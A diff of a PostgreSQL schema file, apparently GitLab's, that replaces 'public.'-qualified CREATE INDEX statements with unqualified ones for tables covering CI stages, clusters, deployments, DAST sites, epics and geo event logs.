+CREATE INDEX index_container_expiration_policies_on_next_run_at_and_enabled ON container_expiration_policies USING btree (next_run_at, enabled);
-CREATE UNIQUE INDEX index_ci_sources_projects_on_source_project_id_and_pipeline_id ON public.ci_sources_projects USING btree (source_project_id, pipeline_id);
+CREATE INDEX index_container_repositories_on_project_id ON container_repositories USING btree (project_id);
-CREATE INDEX index_ci_stages_on_pipeline_id ON public.ci_stages USING btree (pipeline_id);
+CREATE UNIQUE INDEX index_container_repositories_on_project_id_and_name ON container_repositories USING btree (project_id, name);
-CREATE UNIQUE INDEX index_ci_stages_on_pipeline_id_and_name ON public.ci_stages USING btree (pipeline_id, name);
+CREATE INDEX index_container_repository_on_name_trigram ON container_repositories USING gin (name gin_trgm_ops);
-CREATE INDEX index_ci_stages_on_pipeline_id_and_position ON public.ci_stages USING btree (pipeline_id, "position");
+CREATE INDEX index_created_at_on_codeowner_approval_merge_request_rules ON approval_merge_request_rules USING btree (created_at) WHERE ((rule_type = 2) AND (section <> 'codeowners'::text));
-CREATE INDEX index_ci_stages_on_project_id ON public.ci_stages USING btree (project_id);
+CREATE UNIQUE INDEX index_custom_emoji_on_namespace_id_and_name ON custom_emoji USING btree (namespace_id, name);
-CREATE INDEX index_ci_subscriptions_projects_on_upstream_project_id ON public.ci_subscriptions_projects USING btree (upstream_project_id);
+CREATE UNIQUE INDEX index_daily_build_group_report_results_unique_columns ON ci_daily_build_group_report_results USING btree (project_id, ref_path, date, group_name);
-CREATE UNIQUE INDEX index_ci_subscriptions_projects_unique_subscription ON public.ci_subscriptions_projects USING btree (downstream_project_id, upstream_project_id);
+CREATE UNIQUE INDEX index_dast_scanner_profiles_on_project_id_and_name ON dast_scanner_profiles USING btree (project_id, name);
-CREATE INDEX index_ci_trigger_requests_on_commit_id ON public.ci_trigger_requests USING btree (commit_id);
+CREATE INDEX index_dast_site_profiles_on_dast_site_id ON dast_site_profiles USING btree (dast_site_id);
-CREATE INDEX index_ci_trigger_requests_on_trigger_id_and_id ON public.ci_trigger_requests USING btree (trigger_id, id DESC);
+CREATE UNIQUE INDEX index_dast_site_profiles_on_project_id_and_name ON dast_site_profiles USING btree (project_id, name);
-CREATE INDEX index_ci_triggers_on_owner_id ON public.ci_triggers USING btree (owner_id);
+CREATE INDEX index_dast_site_tokens_on_project_id ON dast_site_tokens USING btree (project_id);
-CREATE INDEX index_ci_triggers_on_project_id ON public.ci_triggers USING btree (project_id);
+CREATE INDEX index_dast_site_validations_on_dast_site_token_id ON dast_site_validations USING btree (dast_site_token_id);
-CREATE UNIQUE INDEX index_ci_variables_on_project_id_and_key_and_environment_scope ON public.ci_variables USING btree (project_id, key, environment_scope);
+CREATE INDEX index_dast_site_validations_on_url_base ON dast_site_validations USING btree (url_base);
-CREATE INDEX index_cluster_agent_tokens_on_agent_id ON public.cluster_agent_tokens USING btree (agent_id);
+CREATE INDEX index_dast_sites_on_dast_site_validation_id ON dast_sites USING btree (dast_site_validation_id);
-CREATE UNIQUE INDEX index_cluster_agent_tokens_on_token_encrypted ON public.cluster_agent_tokens USING btree (token_encrypted);
+CREATE UNIQUE INDEX index_dast_sites_on_project_id_and_url ON dast_sites USING btree (project_id, url);
-CREATE INDEX index_cluster_agents_on_project_id ON public.cluster_agents USING btree (project_id);
+CREATE INDEX index_dependency_proxy_blobs_on_group_id_and_file_name ON dependency_proxy_blobs USING btree (group_id, file_name);
-CREATE UNIQUE INDEX index_cluster_agents_on_project_id_and_name ON public.cluster_agents USING btree (project_id, name);
+CREATE INDEX index_dependency_proxy_group_settings_on_group_id ON dependency_proxy_group_settings USING btree (group_id);
-CREATE UNIQUE INDEX index_cluster_groups_on_cluster_id_and_group_id ON public.cluster_groups USING btree (cluster_id, group_id);
+CREATE INDEX index_deploy_key_id_on_protected_branch_push_access_levels ON protected_branch_push_access_levels USING btree (deploy_key_id);
-CREATE INDEX index_cluster_groups_on_group_id ON public.cluster_groups USING btree (group_id);
+CREATE INDEX index_deploy_keys_projects_on_deploy_key_id ON deploy_keys_projects USING btree (deploy_key_id);
-CREATE UNIQUE INDEX index_cluster_platforms_kubernetes_on_cluster_id ON public.cluster_platforms_kubernetes USING btree (cluster_id);
+CREATE INDEX index_deploy_keys_projects_on_project_id ON deploy_keys_projects USING btree (project_id);
-CREATE INDEX index_cluster_projects_on_cluster_id ON public.cluster_projects USING btree (cluster_id);
+CREATE UNIQUE INDEX index_deploy_tokens_on_token ON deploy_tokens USING btree (token);
-CREATE INDEX index_cluster_projects_on_project_id ON public.cluster_projects USING btree (project_id);
+CREATE INDEX index_deploy_tokens_on_token_and_expires_at_and_id ON deploy_tokens USING btree (token, expires_at, id) WHERE (revoked IS FALSE);
-CREATE UNIQUE INDEX index_cluster_providers_aws_on_cluster_id ON public.cluster_providers_aws USING btree (cluster_id);
+CREATE UNIQUE INDEX index_deploy_tokens_on_token_encrypted ON deploy_tokens USING btree (token_encrypted);
-CREATE INDEX index_cluster_providers_aws_on_cluster_id_and_status ON public.cluster_providers_aws USING btree (cluster_id, status);
+CREATE UNIQUE INDEX index_deployment_clusters_on_cluster_id_and_deployment_id ON deployment_clusters USING btree (cluster_id, deployment_id);
-CREATE INDEX index_cluster_providers_aws_on_created_by_user_id ON public.cluster_providers_aws USING btree (created_by_user_id);
+CREATE INDEX index_deployment_merge_requests_on_merge_request_id ON deployment_merge_requests USING btree (merge_request_id);
-CREATE INDEX index_cluster_providers_gcp_on_cloud_run ON public.cluster_providers_gcp USING btree (cloud_run);
+CREATE INDEX index_deployments_on_cluster_id_and_status ON deployments USING btree (cluster_id, status);
-CREATE UNIQUE INDEX index_cluster_providers_gcp_on_cluster_id ON public.cluster_providers_gcp USING btree (cluster_id);
+CREATE INDEX index_deployments_on_created_at ON deployments USING btree (created_at);
-CREATE UNIQUE INDEX index_clusters_applications_cert_managers_on_cluster_id ON public.clusters_applications_cert_managers USING btree (cluster_id);
+CREATE INDEX index_deployments_on_deployable_type_and_deployable_id ON deployments USING btree (deployable_type, deployable_id);
-CREATE UNIQUE INDEX index_clusters_applications_cilium_on_cluster_id ON public.clusters_applications_cilium USING btree (cluster_id);
+CREATE INDEX index_deployments_on_environment_id_and_id ON deployments USING btree (environment_id, id);
-CREATE UNIQUE INDEX index_clusters_applications_crossplane_on_cluster_id ON public.clusters_applications_crossplane USING btree (cluster_id);
+CREATE INDEX index_deployments_on_environment_id_and_iid_and_project_id ON deployments USING btree (environment_id, iid, project_id);
-CREATE UNIQUE INDEX index_clusters_applications_elastic_stacks_on_cluster_id ON public.clusters_applications_elastic_stacks USING btree (cluster_id);
+CREATE INDEX index_deployments_on_environment_id_and_status ON deployments USING btree (environment_id, status);
-CREATE UNIQUE INDEX index_clusters_applications_fluentd_on_cluster_id ON public.clusters_applications_fluentd USING btree (cluster_id);
+CREATE INDEX index_deployments_on_id_and_status_and_created_at ON deployments USING btree (id, status, created_at);
-CREATE UNIQUE INDEX index_clusters_applications_helm_on_cluster_id ON public.clusters_applications_helm USING btree (cluster_id);
+CREATE INDEX index_deployments_on_id_where_cluster_id_present ON deployments USING btree (id) WHERE (cluster_id IS NOT NULL);
-CREATE UNIQUE INDEX index_clusters_applications_ingress_on_cluster_id ON public.clusters_applications_ingress USING btree (cluster_id);
+CREATE INDEX index_deployments_on_project_id_and_id ON deployments USING btree (project_id, id DESC);
-CREATE INDEX index_clusters_applications_ingress_on_modsecurity ON public.clusters_applications_ingress USING btree (modsecurity_enabled, modsecurity_mode, cluster_id);
+CREATE UNIQUE INDEX index_deployments_on_project_id_and_iid ON deployments USING btree (project_id, iid);
-CREATE UNIQUE INDEX index_clusters_applications_jupyter_on_cluster_id ON public.clusters_applications_jupyter USING btree (cluster_id);
+CREATE INDEX index_deployments_on_project_id_and_ref ON deployments USING btree (project_id, ref);
-CREATE INDEX index_clusters_applications_jupyter_on_oauth_application_id ON public.clusters_applications_jupyter USING btree (oauth_application_id);
+CREATE INDEX index_deployments_on_project_id_and_status ON deployments USING btree (project_id, status);
-CREATE UNIQUE INDEX index_clusters_applications_knative_on_cluster_id ON public.clusters_applications_knative USING btree (cluster_id);
+CREATE INDEX index_deployments_on_project_id_and_status_and_created_at ON deployments USING btree (project_id, status, created_at);
-CREATE UNIQUE INDEX index_clusters_applications_prometheus_on_cluster_id ON public.clusters_applications_prometheus USING btree (cluster_id);
+CREATE INDEX index_deployments_on_project_id_and_updated_at_and_id ON deployments USING btree (project_id, updated_at DESC, id DESC);
-CREATE UNIQUE INDEX index_clusters_applications_runners_on_cluster_id ON public.clusters_applications_runners USING btree (cluster_id);
+CREATE INDEX index_deployments_on_user_id_and_status_and_created_at ON deployments USING btree (user_id, status, created_at);
-CREATE INDEX index_clusters_applications_runners_on_runner_id ON public.clusters_applications_runners USING btree (runner_id);
+CREATE INDEX index_description_versions_on_epic_id ON description_versions USING btree (epic_id) WHERE (epic_id IS NOT NULL);
-CREATE INDEX index_clusters_kubernetes_namespaces_on_cluster_id ON public.clusters_kubernetes_namespaces USING btree (cluster_id);
+CREATE INDEX index_description_versions_on_issue_id ON description_versions USING btree (issue_id) WHERE (issue_id IS NOT NULL);
-CREATE INDEX index_clusters_kubernetes_namespaces_on_cluster_project_id ON public.clusters_kubernetes_namespaces USING btree (cluster_project_id);
+CREATE INDEX index_description_versions_on_merge_request_id ON description_versions USING btree (merge_request_id) WHERE (merge_request_id IS NOT NULL);
-CREATE INDEX index_clusters_kubernetes_namespaces_on_environment_id ON public.clusters_kubernetes_namespaces USING btree (environment_id);
+CREATE INDEX index_design_management_designs_issue_id_relative_position_id ON design_management_designs USING btree (issue_id, relative_position, id);
-CREATE INDEX index_clusters_kubernetes_namespaces_on_project_id ON public.clusters_kubernetes_namespaces USING btree (project_id);
+CREATE UNIQUE INDEX index_design_management_designs_on_issue_id_and_filename ON design_management_designs USING btree (issue_id, filename);
-CREATE INDEX index_clusters_on_enabled_and_provider_type_and_id ON public.clusters USING btree (enabled, provider_type, id);
+CREATE INDEX index_design_management_designs_on_project_id ON design_management_designs USING btree (project_id);
-CREATE INDEX index_clusters_on_enabled_cluster_type_id_and_created_at ON public.clusters USING btree (enabled, cluster_type, id, created_at);
+CREATE INDEX index_design_management_designs_versions_on_design_id ON design_management_designs_versions USING btree (design_id);
-CREATE INDEX index_clusters_on_management_project_id ON public.clusters USING btree (management_project_id) WHERE (management_project_id IS NOT NULL);
+CREATE INDEX index_design_management_designs_versions_on_event ON design_management_designs_versions USING btree (event);
-CREATE INDEX index_clusters_on_user_id ON public.clusters USING btree (user_id);
+CREATE INDEX index_design_management_designs_versions_on_version_id ON design_management_designs_versions USING btree (version_id);
-CREATE UNIQUE INDEX index_commit_user_mentions_on_note_id ON public.commit_user_mentions USING btree (note_id);
+CREATE INDEX index_design_management_versions_on_author_id ON design_management_versions USING btree (author_id) WHERE (author_id IS NOT NULL);
-CREATE INDEX index_container_expiration_policies_on_next_run_at_and_enabled ON public.container_expiration_policies USING btree (next_run_at, enabled);
+CREATE INDEX index_design_management_versions_on_issue_id ON design_management_versions USING btree (issue_id);
-CREATE INDEX index_container_repositories_on_project_id ON public.container_repositories USING btree (project_id);
+CREATE UNIQUE INDEX index_design_management_versions_on_sha_and_issue_id ON design_management_versions USING btree (sha, issue_id);
-CREATE UNIQUE INDEX index_container_repositories_on_project_id_and_name ON public.container_repositories USING btree (project_id, name);
+CREATE UNIQUE INDEX index_design_user_mentions_on_note_id ON design_user_mentions USING btree (note_id);
-CREATE INDEX index_container_repository_on_name_trigram ON public.container_repositories USING gin (name public.gin_trgm_ops);
+CREATE UNIQUE INDEX index_diff_note_positions_on_note_id_and_diff_type ON diff_note_positions USING btree (note_id, diff_type);
-CREATE UNIQUE INDEX index_custom_emoji_on_namespace_id_and_name ON public.custom_emoji USING btree (namespace_id, name);
+CREATE INDEX index_draft_notes_on_author_id ON draft_notes USING btree (author_id);
-CREATE UNIQUE INDEX index_daily_build_group_report_results_unique_columns ON public.ci_daily_build_group_report_results USING btree (project_id, ref_path, date, group_name);
+CREATE INDEX index_draft_notes_on_discussion_id ON draft_notes USING btree (discussion_id);
-CREATE UNIQUE INDEX index_dast_scanner_profiles_on_project_id_and_name ON public.dast_scanner_profiles USING btree (project_id, name);
+CREATE INDEX index_draft_notes_on_merge_request_id ON draft_notes USING btree (merge_request_id);
-CREATE INDEX index_dast_site_profiles_on_dast_site_id ON public.dast_site_profiles USING btree (dast_site_id);
+CREATE UNIQUE INDEX index_elastic_reindexing_tasks_on_in_progress ON elastic_reindexing_tasks USING btree (in_progress) WHERE in_progress;
-CREATE UNIQUE INDEX index_dast_site_profiles_on_project_id_and_name ON public.dast_site_profiles USING btree (project_id, name);
+CREATE INDEX index_elastic_reindexing_tasks_on_state ON elastic_reindexing_tasks USING btree (state);
-CREATE UNIQUE INDEX index_dast_sites_on_project_id_and_url ON public.dast_sites USING btree (project_id, url);
+CREATE INDEX index_elasticsearch_indexed_namespaces_on_created_at ON elasticsearch_indexed_namespaces USING btree (created_at);
-CREATE INDEX index_dependency_proxy_blobs_on_group_id_and_file_name ON public.dependency_proxy_blobs USING btree (group_id, file_name);
+CREATE UNIQUE INDEX index_elasticsearch_indexed_namespaces_on_namespace_id ON elasticsearch_indexed_namespaces USING btree (namespace_id);
-CREATE INDEX index_dependency_proxy_group_settings_on_group_id ON public.dependency_proxy_group_settings USING btree (group_id);
+CREATE UNIQUE INDEX index_elasticsearch_indexed_projects_on_project_id ON elasticsearch_indexed_projects USING btree (project_id);
-CREATE INDEX index_deploy_key_id_on_protected_branch_push_access_levels ON public.protected_branch_push_access_levels USING btree (deploy_key_id);
+CREATE UNIQUE INDEX index_emails_on_confirmation_token ON emails USING btree (confirmation_token);
-CREATE INDEX index_deploy_keys_projects_on_deploy_key_id ON public.deploy_keys_projects USING btree (deploy_key_id);
+CREATE UNIQUE INDEX index_emails_on_email ON emails USING btree (email);
-CREATE INDEX index_deploy_keys_projects_on_project_id ON public.deploy_keys_projects USING btree (project_id);
+CREATE INDEX index_emails_on_user_id ON emails USING btree (user_id);
-CREATE UNIQUE INDEX index_deploy_tokens_on_token ON public.deploy_tokens USING btree (token);
+CREATE INDEX index_enabled_clusters_on_id ON clusters USING btree (id) WHERE (enabled = true);
-CREATE INDEX index_deploy_tokens_on_token_and_expires_at_and_id ON public.deploy_tokens USING btree (token, expires_at, id) WHERE (revoked IS FALSE);
+CREATE INDEX index_environments_on_auto_stop_at ON environments USING btree (auto_stop_at) WHERE (auto_stop_at IS NOT NULL);
-CREATE UNIQUE INDEX index_deploy_tokens_on_token_encrypted ON public.deploy_tokens USING btree (token_encrypted);
+CREATE INDEX index_environments_on_name_varchar_pattern_ops ON environments USING btree (name varchar_pattern_ops);
-CREATE UNIQUE INDEX index_deployment_clusters_on_cluster_id_and_deployment_id ON public.deployment_clusters USING btree (cluster_id, deployment_id);
+CREATE UNIQUE INDEX index_environments_on_project_id_and_name ON environments USING btree (project_id, name);
-CREATE INDEX index_deployment_merge_requests_on_merge_request_id ON public.deployment_merge_requests USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_environments_on_project_id_and_slug ON environments USING btree (project_id, slug);
-CREATE INDEX index_deployments_on_cluster_id_and_status ON public.deployments USING btree (cluster_id, status);
+CREATE INDEX index_environments_on_project_id_state_environment_type ON environments USING btree (project_id, state, environment_type);
-CREATE INDEX index_deployments_on_created_at ON public.deployments USING btree (created_at);
+CREATE INDEX index_environments_on_state_and_auto_stop_at ON environments USING btree (state, auto_stop_at) WHERE ((auto_stop_at IS NOT NULL) AND ((state)::text = 'available'::text));
-CREATE INDEX index_deployments_on_deployable_type_and_deployable_id ON public.deployments USING btree (deployable_type, deployable_id);
+CREATE INDEX index_epic_issues_on_epic_id ON epic_issues USING btree (epic_id);
-CREATE INDEX index_deployments_on_environment_id_and_id ON public.deployments USING btree (environment_id, id);
+CREATE UNIQUE INDEX index_epic_issues_on_issue_id ON epic_issues USING btree (issue_id);
-CREATE INDEX index_deployments_on_environment_id_and_iid_and_project_id ON public.deployments USING btree (environment_id, iid, project_id);
+CREATE INDEX index_epic_metrics ON epic_metrics USING btree (epic_id);
-CREATE INDEX index_deployments_on_environment_id_and_status ON public.deployments USING btree (environment_id, status);
+CREATE UNIQUE INDEX index_epic_user_mentions_on_note_id ON epic_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
-CREATE INDEX index_deployments_on_id_and_status_and_created_at ON public.deployments USING btree (id, status, created_at);
+CREATE INDEX index_epics_on_assignee_id ON epics USING btree (assignee_id);
-CREATE INDEX index_deployments_on_id_where_cluster_id_present ON public.deployments USING btree (id) WHERE (cluster_id IS NOT NULL);
+CREATE INDEX index_epics_on_author_id ON epics USING btree (author_id);
-CREATE INDEX index_deployments_on_project_id_and_id ON public.deployments USING btree (project_id, id DESC);
+CREATE INDEX index_epics_on_closed_by_id ON epics USING btree (closed_by_id);
-CREATE UNIQUE INDEX index_deployments_on_project_id_and_iid ON public.deployments USING btree (project_id, iid);
+CREATE INDEX index_epics_on_confidential ON epics USING btree (confidential);
-CREATE INDEX index_deployments_on_project_id_and_ref ON public.deployments USING btree (project_id, ref);
+CREATE INDEX index_epics_on_due_date_sourcing_epic_id ON epics USING btree (due_date_sourcing_epic_id) WHERE (due_date_sourcing_epic_id IS NOT NULL);
-CREATE INDEX index_deployments_on_project_id_and_status ON public.deployments USING btree (project_id, status);
+CREATE INDEX index_epics_on_due_date_sourcing_milestone_id ON epics USING btree (due_date_sourcing_milestone_id);
-CREATE INDEX index_deployments_on_project_id_and_status_and_created_at ON public.deployments USING btree (project_id, status, created_at);
+CREATE INDEX index_epics_on_end_date ON epics USING btree (end_date);
-CREATE INDEX index_deployments_on_project_id_and_updated_at_and_id ON public.deployments USING btree (project_id, updated_at DESC, id DESC);
+CREATE INDEX index_epics_on_group_id ON epics USING btree (group_id);
-CREATE INDEX index_deployments_on_user_id_and_status_and_created_at ON public.deployments USING btree (user_id, status, created_at);
+CREATE UNIQUE INDEX index_epics_on_group_id_and_external_key ON epics USING btree (group_id, external_key) WHERE (external_key IS NOT NULL);
-CREATE INDEX index_description_versions_on_epic_id ON public.description_versions USING btree (epic_id) WHERE (epic_id IS NOT NULL);
+CREATE INDEX index_epics_on_group_id_and_iid_varchar_pattern ON epics USING btree (group_id, ((iid)::character varying) varchar_pattern_ops);
-CREATE INDEX index_description_versions_on_issue_id ON public.description_versions USING btree (issue_id) WHERE (issue_id IS NOT NULL);
+CREATE INDEX index_epics_on_iid ON epics USING btree (iid);
-CREATE INDEX index_description_versions_on_merge_request_id ON public.description_versions USING btree (merge_request_id) WHERE (merge_request_id IS NOT NULL);
+CREATE INDEX index_epics_on_last_edited_by_id ON epics USING btree (last_edited_by_id);
-CREATE INDEX index_design_management_designs_issue_id_relative_position_id ON public.design_management_designs USING btree (issue_id, relative_position, id);
+CREATE INDEX index_epics_on_parent_id ON epics USING btree (parent_id);
-CREATE UNIQUE INDEX index_design_management_designs_on_issue_id_and_filename ON public.design_management_designs USING btree (issue_id, filename);
+CREATE INDEX index_epics_on_start_date ON epics USING btree (start_date);
-CREATE INDEX index_design_management_designs_on_project_id ON public.design_management_designs USING btree (project_id);
+CREATE INDEX index_epics_on_start_date_sourcing_epic_id ON epics USING btree (start_date_sourcing_epic_id) WHERE (start_date_sourcing_epic_id IS NOT NULL);
-CREATE INDEX index_design_management_designs_versions_on_design_id ON public.design_management_designs_versions USING btree (design_id);
+CREATE INDEX index_epics_on_start_date_sourcing_milestone_id ON epics USING btree (start_date_sourcing_milestone_id);
-CREATE INDEX index_design_management_designs_versions_on_event ON public.design_management_designs_versions USING btree (event);
+CREATE INDEX index_events_on_action ON events USING btree (action);
-CREATE INDEX index_design_management_designs_versions_on_version_id ON public.design_management_designs_versions USING btree (version_id);
+CREATE INDEX index_events_on_author_id_and_created_at ON events USING btree (author_id, created_at);
-CREATE INDEX index_design_management_versions_on_author_id ON public.design_management_versions USING btree (author_id) WHERE (author_id IS NOT NULL);
+CREATE INDEX index_events_on_author_id_and_created_at_merge_requests ON events USING btree (author_id, created_at) WHERE ((target_type)::text = 'MergeRequest'::text);
-CREATE INDEX index_design_management_versions_on_issue_id ON public.design_management_versions USING btree (issue_id);
+CREATE INDEX index_events_on_author_id_and_project_id ON events USING btree (author_id, project_id);
-CREATE UNIQUE INDEX index_design_management_versions_on_sha_and_issue_id ON public.design_management_versions USING btree (sha, issue_id);
+CREATE INDEX index_events_on_group_id_partial ON events USING btree (group_id) WHERE (group_id IS NOT NULL);
-CREATE UNIQUE INDEX index_design_user_mentions_on_note_id ON public.design_user_mentions USING btree (note_id);
+CREATE INDEX index_events_on_project_id_and_created_at ON events USING btree (project_id, created_at);
-CREATE UNIQUE INDEX index_diff_note_positions_on_note_id_and_diff_type ON public.diff_note_positions USING btree (note_id, diff_type);
+CREATE INDEX index_events_on_project_id_and_id ON events USING btree (project_id, id);
-CREATE INDEX index_draft_notes_on_author_id ON public.draft_notes USING btree (author_id);
+CREATE INDEX index_events_on_project_id_and_id_desc_on_merged_action ON events USING btree (project_id, id DESC) WHERE (action = 7);
-CREATE INDEX index_draft_notes_on_discussion_id ON public.draft_notes USING btree (discussion_id);
+CREATE INDEX index_events_on_target_type_and_target_id ON events USING btree (target_type, target_id);
-CREATE INDEX index_draft_notes_on_merge_request_id ON public.draft_notes USING btree (merge_request_id);
+CREATE UNIQUE INDEX index_events_on_target_type_and_target_id_and_fingerprint ON events USING btree (target_type, target_id, fingerprint);
-CREATE UNIQUE INDEX index_elastic_reindexing_tasks_on_in_progress ON public.elastic_reindexing_tasks USING btree (in_progress) WHERE in_progress;
+CREATE INDEX index_evidences_on_release_id ON evidences USING btree (release_id);
-CREATE INDEX index_elastic_reindexing_tasks_on_state ON public.elastic_reindexing_tasks USING btree (state);
+CREATE INDEX index_experiment_users_on_experiment_id ON experiment_users USING btree (experiment_id);
-CREATE INDEX index_elasticsearch_indexed_namespaces_on_created_at ON public.elasticsearch_indexed_namespaces USING btree (created_at);
+CREATE INDEX index_experiment_users_on_user_id ON experiment_users USING btree (user_id);
-CREATE UNIQUE INDEX index_elasticsearch_indexed_namespaces_on_namespace_id ON public.elasticsearch_indexed_namespaces USING btree (namespace_id);
+CREATE UNIQUE INDEX index_experiments_on_name ON experiments USING btree (name);
-CREATE UNIQUE INDEX index_elasticsearch_indexed_projects_on_project_id ON public.elasticsearch_indexed_projects USING btree (project_id);
+CREATE INDEX index_expired_and_not_notified_personal_access_tokens ON personal_access_tokens USING btree (id, expires_at) WHERE ((impersonation = false) AND (revoked = false) AND (expire_notification_delivered = false));
-CREATE UNIQUE INDEX index_emails_on_confirmation_token ON public.emails USING btree (confirmation_token);
+CREATE UNIQUE INDEX index_external_pull_requests_on_project_and_branches ON external_pull_requests USING btree (project_id, source_branch, target_branch);
-CREATE UNIQUE INDEX index_emails_on_email ON public.emails USING btree (email);
+CREATE UNIQUE INDEX index_feature_flag_scopes_on_flag_id_and_environment_scope ON operations_feature_flag_scopes USING btree (feature_flag_id, environment_scope);
-CREATE INDEX index_emails_on_user_id ON public.emails USING btree (user_id);
+CREATE UNIQUE INDEX index_feature_flags_clients_on_project_id_and_token_encrypted ON operations_feature_flags_clients USING btree (project_id, token_encrypted);
-CREATE INDEX index_enabled_clusters_on_id ON public.clusters USING btree (id) WHERE (enabled = true);
+CREATE UNIQUE INDEX index_feature_gates_on_feature_key_and_key_and_value ON feature_gates USING btree (feature_key, key, value);
-CREATE INDEX index_environments_on_auto_stop_at ON public.environments USING btree (auto_stop_at) WHERE (auto_stop_at IS NOT NULL);
+CREATE UNIQUE INDEX index_features_on_key ON features USING btree (key);
-CREATE INDEX index_environments_on_name_varchar_pattern_ops ON public.environments USING btree (name varchar_pattern_ops);
+CREATE INDEX index_for_resource_group ON ci_builds USING btree (resource_group_id, id) WHERE (resource_group_id IS NOT NULL);
-CREATE UNIQUE INDEX index_environments_on_project_id_and_name ON public.environments USING btree (project_id, name);
+CREATE INDEX index_for_status_per_branch_per_project ON merge_trains USING btree (target_project_id, target_branch, status);
-CREATE UNIQUE INDEX index_environments_on_project_id_and_slug ON public.environments USING btree (project_id, slug);
+CREATE INDEX index_fork_network_members_on_fork_network_id ON fork_network_members USING btree (fork_network_id);
-CREATE INDEX index_environments_on_project_id_state_environment_type ON public.environments USING btree (project_id, state, environment_type);
+CREATE INDEX index_fork_network_members_on_forked_from_project_id ON fork_network_members USING btree (forked_from_project_id);
-CREATE INDEX index_environments_on_state_and_auto_stop_at ON public.environments USING btree (state, auto_stop_at) WHERE ((auto_stop_at IS NOT NULL) AND ((state)::text = 'available'::text));
+CREATE UNIQUE INDEX index_fork_network_members_on_project_id ON fork_network_members USING btree (project_id);
-CREATE INDEX index_epic_issues_on_epic_id ON public.epic_issues USING btree (epic_id);
+CREATE UNIQUE INDEX index_fork_networks_on_root_project_id ON fork_networks USING btree (root_project_id);
-CREATE UNIQUE INDEX index_epic_issues_on_issue_id ON public.epic_issues USING btree (issue_id);
+CREATE INDEX index_geo_event_log_on_cache_invalidation_event_id ON geo_event_log USING btree (cache_invalidation_event_id) WHERE (cache_invalidation_event_id IS NOT NULL);
-CREATE INDEX index_epic_metrics ON public.epic_metrics USING btree (epic_id);
+CREATE INDEX index_geo_event_log_on_container_repository_updated_event_id ON geo_event_log USING btree (container_repository_updated_event_id);
-CREATE UNIQUE INDEX index_epic_user_mentions_on_note_id ON public.epic_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
+CREATE INDEX index_geo_event_log_on_geo_event_id ON geo_event_log USING btree (geo_event_id) WHERE (geo_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_assignee_id ON public.epics USING btree (assignee_id);
+CREATE INDEX index_geo_event_log_on_hashed_storage_attachments_event_id ON geo_event_log USING btree (hashed_storage_attachments_event_id) WHERE (hashed_storage_attachments_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_author_id ON public.epics USING btree (author_id);
+CREATE INDEX index_geo_event_log_on_hashed_storage_migrated_event_id ON geo_event_log USING btree (hashed_storage_migrated_event_id) WHERE (hashed_storage_migrated_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_closed_by_id ON public.epics USING btree (closed_by_id);
+CREATE INDEX index_geo_event_log_on_job_artifact_deleted_event_id ON geo_event_log USING btree (job_artifact_deleted_event_id) WHERE (job_artifact_deleted_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_confidential ON public.epics USING btree (confidential);
+CREATE INDEX index_geo_event_log_on_lfs_object_deleted_event_id ON geo_event_log USING btree (lfs_object_deleted_event_id) WHERE (lfs_object_deleted_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_due_date_sourcing_epic_id ON public.epics USING btree (due_date_sourcing_epic_id) WHERE (due_date_sourcing_epic_id IS NOT NULL);
+CREATE INDEX index_geo_event_log_on_repositories_changed_event_id ON geo_event_log USING btree (repositories_changed_event_id) WHERE (repositories_changed_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_due_date_sourcing_milestone_id ON public.epics USING btree (due_date_sourcing_milestone_id);
+CREATE INDEX index_geo_event_log_on_repository_created_event_id ON geo_event_log USING btree (repository_created_event_id) WHERE (repository_created_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_end_date ON public.epics USING btree (end_date);
+CREATE INDEX index_geo_event_log_on_repository_deleted_event_id ON geo_event_log USING btree (repository_deleted_event_id) WHERE (repository_deleted_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_group_id ON public.epics USING btree (group_id);
+CREATE INDEX index_geo_event_log_on_repository_renamed_event_id ON geo_event_log USING btree (repository_renamed_event_id) WHERE (repository_renamed_event_id IS NOT NULL);
-CREATE UNIQUE INDEX index_epics_on_group_id_and_external_key ON public.epics USING btree (group_id, external_key) WHERE (external_key IS NOT NULL);
+CREATE INDEX index_geo_event_log_on_repository_updated_event_id ON geo_event_log USING btree (repository_updated_event_id) WHERE (repository_updated_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_group_id_and_iid_varchar_pattern ON public.epics USING btree (group_id, ((iid)::character varying) varchar_pattern_ops);
+CREATE INDEX index_geo_event_log_on_reset_checksum_event_id ON geo_event_log USING btree (reset_checksum_event_id) WHERE (reset_checksum_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_iid ON public.epics USING btree (iid);
+CREATE INDEX index_geo_event_log_on_upload_deleted_event_id ON geo_event_log USING btree (upload_deleted_event_id) WHERE (upload_deleted_event_id IS NOT NULL);
-CREATE INDEX index_epics_on_last_edited_by_id ON public.epics USING btree (last_edited_by_id);
+CREATE INDEX index_geo_hashed_storage_attachments_events_on_project_id ON geo_hashed_storage_attachments_events USING btree (project_id);
-CREATE INDEX index_epics_on_parent_id ON public.epics USING btree (parent_id);
+CREATE INDEX index_geo_hashed_storage_migrated_events_on_project_id ON geo_hashed_storage_migrated_events USING btree (project_id);
-CREATE INDEX index_epics_on_start_date ON public.epics USING btree (start_date);
+CREATE INDEX index_geo_job_artifact_deleted_events_on_job_artifact_id ON geo_job_artifact_deleted_events USING btree (job_artifact_id);
-CREATE INDEX index_epics_on_start_date_sourcing_epic_id ON public.epics USING btree (start_date_sourcing_epic_id) WHERE (start_date_sourcing_epic_id IS NOT NULL);
+CREATE INDEX index_geo_lfs_object_deleted_events_on_lfs_object_id ON geo_lfs_object_deleted_events USING btree (lfs_object_id);
-CREATE INDEX index_epics_on_start_date_sourcing_milestone_id ON public.epics USING btree (start_date_sourcing_milestone_id);
+CREATE INDEX index_geo_node_namespace_links_on_geo_node_id ON geo_node_namespace_links USING btree (geo_node_id);
-CREATE INDEX index_events_on_action ON public.events USING btree (action);
+CREATE UNIQUE INDEX index_geo_node_namespace_links_on_geo_node_id_and_namespace_id ON geo_node_namespace_links USING btree (geo_node_id, namespace_id);
